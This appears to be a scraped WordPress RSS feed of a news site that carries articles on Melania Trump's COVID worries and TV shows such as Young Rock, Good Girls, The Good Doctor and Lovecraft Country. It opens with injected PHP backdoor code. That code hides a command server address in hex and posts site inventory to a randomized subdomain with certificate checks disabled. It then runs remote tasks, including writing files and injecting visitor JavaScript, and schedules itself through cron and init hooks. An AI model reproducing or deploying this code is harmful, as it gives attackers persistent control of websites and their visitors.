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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); really – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 15 Sep 2022 00:59:53 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png really – Brief News https://briefnews.eu 32 32 Melania Trump told her husband Covid was ‘going to be really bad’ and he was ‘blowing’ the US’s response, book says https://briefnews.eu/melania-trump-told-her-husband-covid-was-going-to-be-really-bad-and-he-was-blowing-the-uss-response-book-says/ https://briefnews.eu/melania-trump-told-her-husband-covid-was-going-to-be-really-bad-and-he-was-blowing-the-uss-response-book-says/#respond Thu, 15 Sep 2022 00:59:53 +0000 https://briefnews.eu/melania-trump-told-her-husband-covid-was-going-to-be-really-bad-and-he-was-blowing-the-uss-response-book-says/ donald trump melania trump funeral
Former President Donald Trump and former First Lady Melania Trump in New York City, on July 20, 2022.

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  • Former First Lady Melania Trump worried that her husband was "blowing" the US COVID response.
  • She is described as "rattled by the coronavirus and convinced that Trump was screwing up" in a new book.
  • Trump told his wife, "'You worry too much,'" the book says, according to CNN.

Former first lady Melania Trump worried that her husband was "blowing" the US response to COVID, but he told her she worried too much, a forthcoming book on Donald Trump's presidency reveals.

Melania Trump was "rattled by the coronavirus and convinced that Trump was screwing up," wrote New York Times chief White House correspondent Peter Baker and New Yorker staff writer and CNN global affairs analyst Susan Glasser in their new book "The Divider: Trump in the White House, 2017-2021."

She shared her concerns with former New Jersey Gov. Chris Christie, a Trump ally, in a phone call and sought his help to persuade her husband to take it more seriously, according to CNN's reporting on the book set to publish Tuesday.

"'You're blowing this,' she recalled telling her husband," Baker and Glasser wrote, according to CNN. "'This is serious. It's going to be really bad, and you need to take it more seriously than you're taking it.' He had just dismissed her. 'You worry too much,' she remembered him saying. 'Forget it.'"

As the nation confronted mounting death tolls, Trump mocked mask-wearing and suggested disinfectant injections and sunlight treatments to fight COVID. He held a September Rose Garden ceremony to announce Amy Coney Barrett to the Supreme Court that became known as a superspreader event.

Shortly after the event, he and Melania announced they contracted COVID. Polling at the time showed most Americans thought the president didn't take appropriate precautions for his health or the risk of contracting the virus seriously enough.

In February 2020, Trump acknowledged in an interview with author Bob Woodward for the book "Rage" that the virus was "deadly" and more dangerous than the flu, even while saying publicly it was no worse. A month later, Trump told Woodward, "I wanted to always play it down. I still like playing it down, because I don't want to create a panic."

Days later, he was saying he wanted the nation "opened up and just raring to go by Easter."

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Some actors are born to play the roles they inhabit. And that’s certainly the case with Matthew Willig, who brings depth and tenderness to his turn as Andre the Giant on NBC’s Young Rock.

Fans of the show got a taste of the former NFL offensive tackle’s range in this week’s installment, titled “My Day With Andre.”

In it, the wrestling great hangs out with a 10-year-old Dwayne (Adrian Groulx), aka Dewey, and takes him to the movies when his parents can’t. But first, they stop by the park and feed the pigeons, allowing both Andre and Dwayne to impart bits of wisdom to each other. For instance, Dewey tries to shoo away a portly pigeon he perceives as greedy. But Andre favors and defends the bird. Later, Dewey explains that like that pigeon, Andre isn’t too big; the world is just too small.

Matt Willig Young Rock “Obviously, being my size, there are few roles that come along where I can say, ‘That’s right in my wheelhouse,’” Willig tells TVLine with a chuckle. (His past roles include Birds of Prey and Charmed.) “You add in me gaining weight and learning some French, and I definitely committed. But you never know how people are going to perceive it.”

Reception to Willig’s performance has been considerably positive, with Dwayne “The Rock” Johnson, whose life the NBC sitcom is based upon, praising him publicly.

“I’m humbled and thankful Dwayne gave me the chance to play this role,” Willig adds. “It was the right fit, and I knew that it was going to be a good fit, even though I’ve said that numerous times in my career. So to have this happen and have Dwayne believe in me and even post about it on social media means the world.”

To fill Andre’s considerable shoes, Willig packed on 35 pounds and sports a curly wig. “I wish I had that much hair,” he confesses. He even worked with a dialect coach. And while the Southern California native isn’t quite as tall as the late, great Andre — the wrestler was 7 foot, and Willig is 6’8″ — he knows what it’s like to be a big man in a small world.

“People ask me all the time how I don’t hit my head on doorways,” Willig says. “I’ve learned to just adjust. It’s the same thing when I go to the movies. I know, or I’m very aware, that if I’m sitting in front of somebody that needs to see, I’ll just slouch down.”

Matt Willig as Andre the GiantOn Young Rock, Andre doesn’t duck down at the movie theater, and the people behind him have to bob and weave for comedic effect.

“It’s just one of those things I automatically do,” he continues. “I’m always very aware of my surroundings, as far as that goes… I don’t even think about it anymore. It’s automatic. Being recognized a little bit and being really large, just walking around in a Las Vegas casino, for example, there are tons of people standing there, and you can see and feel them looking and talking about you as you walk by. Especially after I got into this business, I realized how tall I really am, because the smaller you are, the easier it is for production and camera crews and all that stuff. I do sometimes feel like I am a big man in a small world.”

As for “My Day with Andre,” Willig credits his young screen partner Groulx for being such a consummate professional.

Dewey and Andre, Young Rock“It was a really sweet episode, and it was a culmination of little Adrian and I having a nice relationship together and building that over the couple of months leading up to shooting that,” says Willig, the father of two daughters. “I think the kid is amazing. I love that kid. He’s so talented. When we’re sitting there talking, it really is kind of a nice chat. I was able to see the episode myself, and I’m really happy the way it came out and happy with the way that it feels. He’s teaching me, and I’m teaching him, and it’s a nice moment.”

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]]> https://briefnews.eu/young-rocks-matthew-willig-talks-playing-andre-the-giant-this-weeks-really-sweet-playdate-with-dewey/feed/ 0 Good Girls Recap: Beth Makes a Big Move, But Is [Spoiler] Really Dead? https://briefnews.eu/good-girls-recap-beth-makes-a-big-move-but-is-spoiler-really-dead/ https://briefnews.eu/good-girls-recap-beth-makes-a-big-move-but-is-spoiler-really-dead/#respond Mon, 29 Mar 2021 07:37:18 +0000 https://briefnews.eu/good-girls-recap-beth-makes-a-big-move-but-is-spoiler-really-dead/

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A husband in jail, a crime boss and the Feds on her tail, plus a hitman who can’t take “no” for an answer? It’s safe to say that Beth Boland’s life is a revolving door of problems that need solving. But on this Sunday’s episode of Good Girls, the mother of four makes a huge play that’s undoubtedly going to shake up her world. Whether it’s for the better or worse remains to be seen.

With Dean not leaving jail any time soon and Beth putting pressure on Fitzpatrick to complete the Rio job, the Boland matriarch is shocked to find Phoebe and Dave at her doorstep. Did she play nice, cop a deal or cough up any incriminating info? Actually, it was a combo of all three, and boy, did things get messy. (Ahem, messier.) Here’s what happened from the top.

Phoebe and “Big Kahuna” Dave approach Beth with a proposition. Of course, they found the hidden message Beth left for Dean detailing her operation. Now, they want her help in setting up Rio — and if she refuses, they’ll round up her entire posse.

Stan, meanwhile, is still running shady side-jobs for his boss, Gene, which include busting skulls (or, yanno, cash registers) and bloodying his knuckles. The toll it’s taking on him is blatantly obvious, and it doesn’t look like he can keep this much for much longer.

Beth pitches assisting the agents to Ruby and Annie. If they help out, they’ll be relocated anywhere in the country they want to go. It’ll be like they never existed, Beth says. But, Annie asks, won’t this entire deal go away if Rio gets whacked? A solid point.

They go to track down Fitzpatrick to call off the hit, but the man has up and vanished. They meet with the guy who connected them to Fitz in the first place. He won’t help them cancel the hit… unless they help him out with something first. He doesn’t want sexual favors (which is what the women incorrectly assume); instead, he sends them shopping, which seems like an odd request, but then again, the man doesn’t have forearms. Panic takes over when they figure out the shopping list is full of bomb-making supplies. Despite their reservations (and there are many!), the women decide to deliver the goods anyway.

Gang guy says he found Fitzpatrick, who will give Beth a call. He then tells them the materials they picked up are for his mom, and they’re colored in surprise when he says they’re actually for a garden to help celebrate her wins against cancer. That’s quite the opposite of their explosive device theory. (“You b-tches are sick,” he tells them.)

Good Girls Season 4 Episode 4Next, we’re treated to a cheeky montage of Stan tackling odd-jobs (including the theft of a huge snake) and Ruby googling, “Are there Black people in Wyoming?” Stan tells Gene he can’t do it anymore, and asks for his old job back. Gene leaves him feeling hopeful that things can soon go back to normal.

Beth finally meets with Fitzpatrick, who questions why she wants to cancel the contract, until he figures it out. “You cut a deal… I thought you were special,” he says. “I’m a mom,” she replies. She asks him what he’s going to do: “My job.” (Highly doubtful, as there’s no way this show’s going to off Rio, right? Right.)

Beth re-groups with Rio. She tells him the Secret Service agents want him, and he’s not too surprised. She slips him an envelope with what we think is Dave’s photo, and confirms that no one else knows about it. “It’s off the books,” she tells him, and it’s the only way their predicament goes away.

The next day at work, Gene comes through with a police officer who’s looking for a suspect who smashed up a cash register. It looks like Gene’s throwing Stan to the wolves, only boss-man coughs up an alibi for Stan at the last second. When the situation is diffused, Gene tells him to be in the car in 10 minutes. Looks like Stan’s very illegal side-project isn’t quite finished just yet.

On a rooftop, Fitzpatrick moves forward with his plan to take Rio out, following the gangster’s moves in the crosshairs of his sniper rifle. Rio enters a club wearing a dark hoodie, but when the figure comes back out, it’s someone else… and a very armed Rio appears right next to Fitz. Fitz warns Rio about being careful with “a woman like that.” He didn’t think Beth had it in her. “Later, Dave,” says Rio, squeezing the trigger. Fitzpatrick’s head cocks to the side as he utters, “Dave?” The scene cuts away, as we hear a gunshot.

Beth meets with Rio again, telling him the Feds seized everything and that she obviously can’t wash anymore. They talk shop, and as he’s about to leave, Rio mentions her “kahuna” wasn’t looking to put him away, he was looking to take him out. Beth fumbles through a response, but Rio wasn’t born yesterday. Full of suspicion, he walks away.

Did Rio buy Beth’s story about “Dave”? Is Fitzpatrick really dead? Drop some comments below!

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]]> https://briefnews.eu/good-girls-recap-beth-makes-a-big-move-but-is-spoiler-really-dead/feed/ 0 Good Doctor Delves Into Racial Profiling in Medicine — Plus, Is Shaun Really Falling for Someone Other Than Lea? https://briefnews.eu/good-doctor-delves-into-racial-profiling-in-medicine-plus-is-shaun-really-falling-for-someone-other-than-lea/ https://briefnews.eu/good-doctor-delves-into-racial-profiling-in-medicine-plus-is-shaun-really-falling-for-someone-other-than-lea/#respond Tue, 16 Feb 2021 11:43:39 +0000 https://briefnews.eu/good-doctor-delves-into-racial-profiling-in-medicine-plus-is-shaun-really-falling-for-someone-other-than-lea/

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Monday’s episode of The Good Doctor not only addressed racial profiling in modern medicine, but forced one of the residents to take a good, hard look in the mirror and confront her own preconceived notions.

After misdiagnosing a patient, Claire made a disconcerting discovery about certain practices at the hospital. When it comes to pain management, data showed that St. Bonaventure has been under-treating African American and Latinx patients by a considerable margin, and they’ll need to do better. The numbers were crunched after Claire used pattern-processing techniques taught in medical school to treat Zara Norton, a 34-year-old Black female who was rushed to the ER following a cardiac event. Based on her preconceived notions about this “loud and messy” patient, Claire administered an ACE inhibitor to bring down Zara’s blood pressure. Because the result supported Claire’s hypothesis that this was a standard case of hypertension commonly diagnosed among Black women, she nearly missed a diagnosis of hypertrophic cardiomyopathy, where the heart muscle becomes abnormally thick.

When Zara learned that Claire administered the ACE inhibitor based only on assumption, she asked that Dr. Browne be removed from her case. She even requested to be transferred to another hospital for her corrective procedure, but Dr. Glassman convinced her that she’d receive the best possible treatment if she stayed put. During the open-heart surgery, Andrews, Asher and Enrique faced an unforeseen complication. From the observation deck, Claire verbally intervened and saved Zara’s life.

After the surgery, Claire confronted Zara and admitted she was at fault. When Zara arrived at the ER, Claire had made assumptions based on race, not realizing that those assumptions were based on her own experience with racial profiling.

“When I got to med school, people took one look at me and thought they knew who I was: ‘Black girl on financial aid,’” Claire said. “‘She must not be that smart. She must’ve gotten a lot of breaks, will probably need a lot more…’ I worked so hard to prove them wrong, that I wasn’t who they thought I was, that I deserved to be there, that I fit in… When you came into the ER, loud and messy, I saw everything I have tried hard not to be. I think it made me angry, and I’m ashamed of that. And I’m really sorry.”

In response, Zara told Claire that she “used to be that way,” but she got “tired of working that hard to make white people comfortable.” That’s when it clicked for Dr. Browne. And when she discussed the matter further with Enrique, the two bonded over how exhausting it had been to prove themselves and get where they are now.

Elsewhere this week, Lim was challenged by the unique circumstances surrounding a pregnant patient with an aggressive pituitary tumor. The patient was Rio Gutierrez, a trans man whose recent lapse in testosterone injections made it possible for him and his fiancé Eli to conceive a child. His decision to carry the child to term and undergo an alternative procedure nearly cost him his vision, but the chief of surgery saved the day. Rio would make a full recovery.

As for Lim: After weeks of vehemently denying that she needed help to combat her post-traumatic stress disorder, one final episode in the OR doubled as her come-to moment. Once Rio was out of surgery, Lim returned to her office and fetched a prescription from her desk. She later told Andrews and Claire was taking Sertraline (aka Zoloft) to treat her condition.

Meanwhile, after teasing a potential obstacle for Shaun and Lea in the form of second-year radiology resident Dr. Cintia D’Souza, Monday’s episode revealed the big kiss seen in the coming attractions was part of a dream sequence. Despite Park and Jordan advising him otherwise, Shaun told Lea about his work crush. Lea wasn’t fazed, but she needed to help Shaun understand that his sexy dream did not signal a problem in their relationship. In order to make Dr. D’Souza less desirable to her boyfriend, Lea exposed Shaun to the resident’s “irresponsible salad bar practices” — hence the episode’s title. Relationship crisis averted!

What did you think of The Good Doctor Season 4, Episode 9? Drop a comment with your full review.

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]]> https://briefnews.eu/good-doctor-delves-into-racial-profiling-in-medicine-plus-is-shaun-really-falling-for-someone-other-than-lea/feed/ 0 Legacies EP on What Rafael’s Premiere Discovery Really Means: ‘He’s Always Wondered Where He Comes From’ https://briefnews.eu/legacies-ep-on-what-rafaels-premiere-discovery-really-means-hes-always-wondered-where-he-comes-from/ https://briefnews.eu/legacies-ep-on-what-rafaels-premiere-discovery-really-means-hes-always-wondered-where-he-comes-from/#respond Fri, 22 Jan 2021 05:07:55 +0000 https://briefnews.eu/legacies-ep-on-what-rafaels-premiere-discovery-really-means-hes-always-wondered-where-he-comes-from/

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For the second time in a row, Legacies kicked off a new season with Hope out of commission, leaving her classmates to scramble like headless chickens — angsty, magical headless chickens.

With the threat of Wednesday Addams Dark Josie finally behind them, the students of the Salvatore School attempted to piece together their fractured community on Thursday with some good ol’ fashioned physical fitness. (Seriously, why did Alaric think that a field day would solve anything? These kids were better off when fake Professor Vardemus was in charge.)

As predicted, the field day was a complete disaster — like, almost apocalyptically bad — though not for the reasons we all assumed. You see, Chad accidentally summoned a new Malivore monster named Nimue (aka the Lady of the Lake), followed by a skull-crushing baddie called the “Green Knight,” both of whom sought the fabled sword Excalibur. Nimue explained that only a “worthy” warrior could wield the blade against the Green Knight, but she conveniently forgot to clarify that “worthy” meant being born of a royal blood line.

After multiple failed attempts to remove the sword from the stone — including a cathartic two-person effort, courtesy of the Saltzman twins — Rafael showed up, yanked the legendary metal from its stone sheath, and plunged Excalibur into the Green Knight’s gross head. Apocalypse averted!

Meanwhile, the Necromancer spent the hour attempting to force Landon’s soul back into his physical body, which was the only way he could receive all the tasty black magic he so desperately craves. (Question for the group: If you didn’t rewatch the Season 2 finale, were you struggling to follow some of these rules?) Landon eventually did reclaim his body, but only to wake Hope up with a kiss; she surmised that her body must have sensed Landon was “dead,” so it just let her keep sleeping. (While we’re glad to see Hope conscious again, that resolution felt a little… convenient. Like when Bonnie suddenly broke Elena’s sleeping curse in the Vampire Diaries series finale without breaking a sweat, making us wonder why she didn’t just do it sooner.)

Then… one last twist! Chad and Alyssa, who formally joined “Team Monster” after Lizzie publicly shamed her for murdering her own parents (rude!), were taking a stroll in the woods, when Chad suddenly vomited black goo and died. Desperate to avoid meeting that same fate, Alyssa pledged her allegiance to the Necromancer, formally becoming his “eternal acolyte.”

Below, executive producer Brett Matthews answers a few of TVLine’s burning questions about the Season 3 premiere, including whether we might finally see Caroline back at the Salvatore School:

TVLINE | Rafael being of royal descent was a twist I didn’t see coming. Is this the beginning of a new journey for him?
This episode was really about the Super Squad banding together in Hope’s absence, so that moment for Raf was obviously a very big one. Raf’s journey through the first couple of seasons has always been about family. As a foster child, he’s always wondered where he comes from, and finding out that he’s connected to a royal blood line is an unexpected answer to that question. So he’s finally beginning to discover all of the things he’s always wanted to know about himself, including his family origins. He really felt like the perfect person to come in and save the day.

TVLINE | This is the second season that started with Hope out of commission and everyone having to pick up the slack. Was that intentional?
[Laughs] Well, the first couple episodes of this season were meant to go at the end of Season 2, so there was going to be a recurring theme there. You can kind of see where we intended to end the second season. We’ve gone back in and reworked some of those episodes a little bit. It was a unique experience that we all hope we never have to do again. I was just finishing the script for Episode 20 when we pulled the plug. You’ll definitely see the bones of where Season 2 would have ended; we think of the first four episodes as the “first chapter” of Season 3.

TVLINE | Josie wants to spend some time with Caroline, I have to ask the question I ask every season: Any chance we’ll see Candice King?
Our answer is still the same, and you’re probably sick of hearing it, but the door is always open to Candice. We love her and think so highly of her, and we love Caroline Forbes so much. We would be thrilled [to have her back], but it’s really up to her. We’d love to have the challenge of figuring out how Caroline fits into Legacies, be that for an episode or an arc or whatever. But it obviously depends on her schedule and the opportunities she’s pursuing in her career. While Legacies is very much a show that’s doing its own thing, it’s built upon the legacies of the other shows — hence the title being what it is — so we’d love that.

TVLINE | Now for the question on everyone’s mind: Is Chad really gone? Death tends to be pretty fluid in this universe.
Death is pretty fluid, but at the same time, it did feel like a tragic end to Chad. He’s a small character, but he definitely grew on us. I don’t know if we’ll ever see Chad again, but he’s pretty definitely dead at the end of this episode. His impact on the Necromancer will be felt moving forward. He will live on in other ways.

Your thoughts on Legacies‘ third season premiere? What were some of your favorite moments that we didn’t discuss above? Grade the episode below, then drop a comment with your full review.

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]]> https://briefnews.eu/legacies-ep-on-what-rafaels-premiere-discovery-really-means-hes-always-wondered-where-he-comes-from/feed/ 0 This Is Us’ Justin Hartley Weighs In on Kevin and Madison’s Insta-Family: ‘You Can’t Really Force Love’ https://briefnews.eu/this-is-us-justin-hartley-weighs-in-on-kevin-and-madisons-insta-family-you-cant-really-force-love/ https://briefnews.eu/this-is-us-justin-hartley-weighs-in-on-kevin-and-madisons-insta-family-you-cant-really-force-love/#respond Wed, 30 Dec 2020 22:38:54 +0000 https://briefnews.eu/this-is-us-justin-hartley-weighs-in-on-kevin-and-madisons-insta-family-you-cant-really-force-love/

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Justin Hartley was shooting This Is Us in New York City, in the cold last winter, when he got the good news: He was going to be an (onscreen) dad.

Series creator Dan Fogelman told Hartley and co-star Sterling K. Brown while “we were in the middle of a scene,” Hartley recalls. What would follow — Kevin and Madison’s one-night-stand that turned into two-very-real-babies — is “an amazing story,” he says. “I love the fact that it’s not your traditional ‘get married, have kids and then struggle with raising them.’”

Yet even the eternally sunny Kevin Pearson wouldn’t be able to ignore the fact that Madison and Kev aren’t exactly each other’s soulmate — at least, not yet. “It’s sort of an odd pairing, and they’re trying to make it work,” he notes. “They have an affection toward one another, but I don’t know how deep it is yet.”

When the NBC drama returns Tuesday (9/8c), its first 2021 episode will deal directly with that very question. (In a promo, Madison reminds Kevin that he said he was “all in” on his commitment to her and their imminent twins, and he replies with a hard-to-read “I know what I said.”)

TVLine recently got Hartley on the phone to talk about Kevin and Madison’s situation, what Rebecca’s increasing mental decline has to do with it, and more.

this-is-us-justin-hartley-interview-season-5-episode-5-TVLINE | Coming into Episode 5, is there any lingering doubt in Kevin’s mind about the path he’s forged with Madison? Or is he full steam ahead on “This is a good thing, and it’s all going to work out?”
I think the doubt is showcased in Kevin in fear. The fear that it might not work out. Gosh, I mean what if they can’t coexist together and be this cohesive unit that comes together and raises these kids, and he [only] sees them on the weekends? There’s all of that stuff. Probably, those are the things that keep Kevin awake at night. He said as much in the last episode. He sits there and stares at the ceiling and worries. All that worry comes from fear, the fear that it absolutely will not work out and that he’s trying to force something.

I’ve said this before: You can’t really force love. It doesn’t work. He’s also in a little bit of a predicament. It’s not like he’s dating a woman that he doesn’t want to be dating. He’s in a situation where she’s having his babies. And he has, his whole life, been bound by this idea that he wants to be what his father knew he could be. Because that was cut so short, Kevin doesn’t give himself the breaks that maybe he should. He doesn’t cut himself any slack… and then he finds himself in a bigger predicament. It’s not him messing up for the sake of messing up or being selfish, as we saw him do several years ago.

It’s that he puts a lot of stress and pressure on himself, and that sometimes can lead to the balloon popping, so to speak.

this-is-us-justin-hartley-interview-season-5-episode-5-TVLINE | It seems like the movie he’s currently filming is not going to help, with a hard-to-please director who has gone out of his way to let Kevin know he’s not going to pat him on the head. Tell me if you think I’m wrong, but it feels like Kevin has some impostor syndrome going on here.
I don’t think that’s overstated. I would say he’s going through yet another existential crisis. [Laughs] If I were his therapist, I would say you’ve got to prioritize the things in your life that are important to you and not live your life for other people. If you look at what he’s actually been able to accomplish, he’s dedicated to being an amazing dad and raising these kids together. Whatever that thing ends up being with Madison, he’s going to give it his all. His career is on track. This won’t be the last movie in the history of the world. Maybe you say no to the movie, or maybe you can do both. Maybe you don’t have to be there every waking moment of the babies’ lives. There are other things that you have to do.

You have to leave and go put food on the table. There are other things. Live your life for yourself a little bit. But I don’t know if Kevin does that. I think he’s so focused, and he’s on a mission. With a good heart, but just sometimes a little bit misguided.

TVLINE | I loved seeing Jamie Chung pop up as Kevin’s co-star in the film. Do you two have more scenes coming up?
I haven’t seen any. I don’t know if [the show] plans on shooting much of the movie. I guess it would depend on that.

this-is-us-justin-hartley-interview-season-5-episode-5-TVLINE | How clearly is Kevin seeing Rebecca’s level of mental decline right now? It can be a hard thing to accept.
I think that’s part of the stress. That’s why he’s eager to have these babies, and he wants his mom to meet the babies. Look, he’s aware that this decline is degenerative. It’s not going to get better. You have moments where it might be like, “She’s better today than she was yesterday. She’s better this week than she was last week.” But it’s a degenerative disease. There’s a fall-off. I think he wants to make sure that he has these babies and his mom meets them and spends as much time with them as she possibly can have. And also maybe that might actually…sometimes when you spend time around animals or babies or whatever it slows down the demise of your disease. So he’s definitely aware of all of that.

[In the pandemic], how are you…gosh, that’s a stressful thing, too. If you have these twins and I want them to meet Mom, but I can’t right now. It’s not safe. It’s like every single second you hear the clock ticking. Kevin’s got a biological clock, let me put it that way. [Laughs] Kevin is the only man alive that has a biological clock that’s ticking.

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Neville Parker (played by Ralf Little) will continue to settle into life on Saint Marie when Death in Paradise returns. Fans of the BBC drama will be treated to several exciting shake-ups for the 10th anniversary season including the arrival of Marlon Pryce (Tahj Miles). However, actor Ralf has revealed the newcomer “irritates” him in a recent interview. 

Speaking to Express.co.uk, executive producer Tim Key and actor Ralf discussed the newest edition to the Death in Paradise team. 

Tim began: “Marlon is this young kid sort of at a bit of a crossroads in his life who when we meet him is definitely on the wrong side of the track.

“[Commissioner] Selwyn [Patterson] as always as this kind of knowing puppet master spots an opportunity with him that maybe no one else can see and believes that there’s something there that needs harnessing.

“But also this kid got a chance to turn left or right and if he takes the right direction, there’s something very special there.”

Read more: Death in Paradise: Will Neville and Florence date? Star teases details

“I’ll do three pages of dialogue trying to explain a case, Tahj does one look at the end and that’s all anyone’s going to remember.” 

“I’m furious about it, it’s way too good,” Ralf added. 

“I need to raise my game because the 19-year-old lad has stepped on and put me to shame it’s really irritating.”

When Death in Paradise returns next year, viewers will watch several huge changes to the Saint Marie police force unfold.

As well as the new arrival, a few familiar faces will return to the island as Neville continues to get to grips with his new role.

Florence Cassell (Josephine Jobert) is called to Saint Marie to assist the clueless detective.

Meanwhile Camille Bordey (Sara Martins) and deceased detective Richard Poole (Ben Miller) will also be making a reappearance. 

Will Neville settle into life on Saint Marie or will still struggle to adapt to island life?

Death in Paradise returns to BBC One in 2021. 

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Warning: This post contains major spoilers from Sunday’s Season 1 finale of Lovecraft Country. 

No matter which way you flip Lovecraft Country‘s Season 1 finale, it comes out tails — like, literal kumiho tails — and everyone loses.

Ji-Ah’s curse comes in handy at exactly the right moment in Sunday’s season-ender, and it’s the factor that tips the scales in Atticus & Co.’s favor in the fight against Christina. But as the series repeatedly has reminded us over the course of the last 10 episodes, fervent wishes rarely come true without somebody paying a steep price.

And in this case, Tic himself is that price: As Ji-Ah foresaw when she nearly killed him in Daegu, he dies among the ruins of Ardham, leaving Leti and their unborn child behind.

But this is a magical, mystical show… so is Atticus really dead? Read on for the highlights of “Full Circle.”

‘THE ANSWER IS IN YOUR BLOOD’ | Diana is still in a bad way when everyone rushes her back to the apartment at the top of the hour. Leti hands Atticus the scrap of paper with the spell on it; when he starts to chant, the Book of Names flips open all by itself and lands on a page with a familiar symbol. “That’s your birthmark,” Montrose whispers. Then, both Tic and Leti pass out at the same time.

Atticus finds himself back at the original Ardham, which is aflame, with his ancestor, Hannah. “The answer is in your blood,” she tells him, going on to reveal that she knew her child would always be sought after by members of Braithwhite’s order, so she used her master’s magic against him. But she unknowingly opened the otherworldly space they’re in when she opened the Book of Names, and for a long time, she thought the place was Hell. “It took a long time to understand that the fire was my rage made manifest, that it could be tamed,” she tells him, adding that magic is not to be feared “but a gift to pass on” and that he is going to “save them all.”

Elsewhere, Leti finds herself back with Hattie, whom we met in Tulsa in last week’s episode. Hattie explains that the baby inside Leti pulled her back with Tic, and that it’s her job to protect the Book of Names. So she starts practicing a spell with Leti, who looks worried.

Lovecraft country finale recap season 1 episode 10 atticus diesThen Atticus finds his mother, who hugs him while they both cry. He puts his head in her lap and tells her he doesn’t want to die.”But if we ain’t walking toward an altar to sacrifice ourselves for something important,” Dora asks, “what is our purpose?” She tells him that he has the best parts of her, Montrose and George inside him, and that what will happen is “a beginning, not an end.” The pair walk hand-in-hand into the room where Leti and Hattie are chanting, then they all stand around the empty bed. Their spell sucks the bad stuff out of Diana in the real world. Still, when the girl wakes, she’s horrified to see that one of her arms remains withered and useless.

A JOB TO DO | Once he and Leti have recovered, Atticus announces that they’ve got to use the Book of Names to defeat Christina. Montrose is against it, worried that his son will die. But Tic says that’s only one potential outcome — and because the book belongs to their family, he’s going to use it to protect their family.

So he and Leti take the elevator waaaaay down and make their way back to the museum via the catacombs. There, they summon both Hannah and the Braithwhite who raped her as well as Hattie and Dora, and after a few mishaps, they manage to slice off a giant swath of the man’s chest. He disappears in a swirl of smoke.

